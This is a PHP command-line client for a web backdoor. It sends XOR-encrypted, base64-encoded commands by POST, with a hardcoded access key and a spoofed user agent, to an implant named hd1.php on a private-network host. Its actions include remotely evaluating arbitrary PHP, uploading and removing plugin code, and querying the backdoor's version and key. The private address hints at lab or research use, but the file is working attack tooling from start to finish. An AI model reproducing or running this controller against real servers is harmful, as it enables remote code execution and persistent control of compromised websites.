#!/usr/bin/env php
<?php

$url = 'http://10.0.0.171/bediger/hd1.php';

$key2 = '7fb3a379-7087-4028-b2ca-7a0985866dc9';
$allowable_actions = array('run', 'info', 'remove', 'add', 'eval');

if ($argc > 1) {
	$action = $argv[1];
	if (!in_array($action, $allowable_actions)) {
		print("Invalid action \"$action\"\n");
		print("action must be one of: ");
		$spacer = "";
		foreach ($allowable_actions as $x) {
			print($spacer.$x);
			$spacer = ', ';
		}
		print("\n");
		exit;
	}
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}
function cs_decrypt($data, $key)
{
    global $key2;

    return cs_decrypt_phase(cs_decrypt_phase($data, $key), $key2);
}

function cs_encrypt($data, $key)
{
    global $key2;

    return cs_decrypt_phase(cs_decrypt_phase($data, $key2), $key);
}

function getUrlContent($url, $postdata) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	curl_setopt($ch, CURLOPT_POST, true); 
	curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); 
    $response = curl_exec($ch);
    $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
	print("HTTP code $httpcode\n");
    return ($httpcode >= 200 && $httpcode < 300) ? $response : false;
}

if ($action == 'info') {
	$data = array('ak' => $key2, 'a' => 'i');
} else if ($action == 'eval') {
	$data = array('ak' => $key2, 'a' => 'e', 'd' => $argv[2]);
} else if ($action == 'add') {
	$data = array();
	$data['ak'] = $key2;
	$data['a']  = 'plugin';
	$data['sa'] = 'add';
	$data['p'] =  $argv[2];
	$data['d'] =  base64_encode($argv[3]);
} else if ($action == 'remove') {
	$data = array();
	$data['ak'] = $key2;
	$data['a']  = 'plugin';
	$data['sa'] = 'rem';
	$data['p'] =  $argv[2];
} else if ($action == 'run') {
	$data = array();
}

$parameter = 'dEabc!%';
$senddata = base64_encode(cs_encrypt(serialize($data), $parameter));

/*
$deciphered = unserialize(cs_decrypt(base64_decode($senddata), $parameter));
var_dump($deciphered);
print("Serialized data: '".serialize($data)."'\n");

print("Data: $senddata\n");
*/

$resp = getUrlContent($url, $parameter.'='.rawurlencode($senddata));

if ($resp !== false) {
	if ($action == 'info') {
		$respdata = unserialize($resp);
		print('PHP version: '.$respdata['pv']."\n");
		print('Backdoor version: '.$respdata['sv']."\n");
		print('Key: '.$respdata['ak']."\n");
		print('md5(filename): '.$respdata['fn']."\n");
		exit;
	} else {
		print("$action response:\n".$resp."\n");
	}
} else {
	print("Did not get response\n");
}

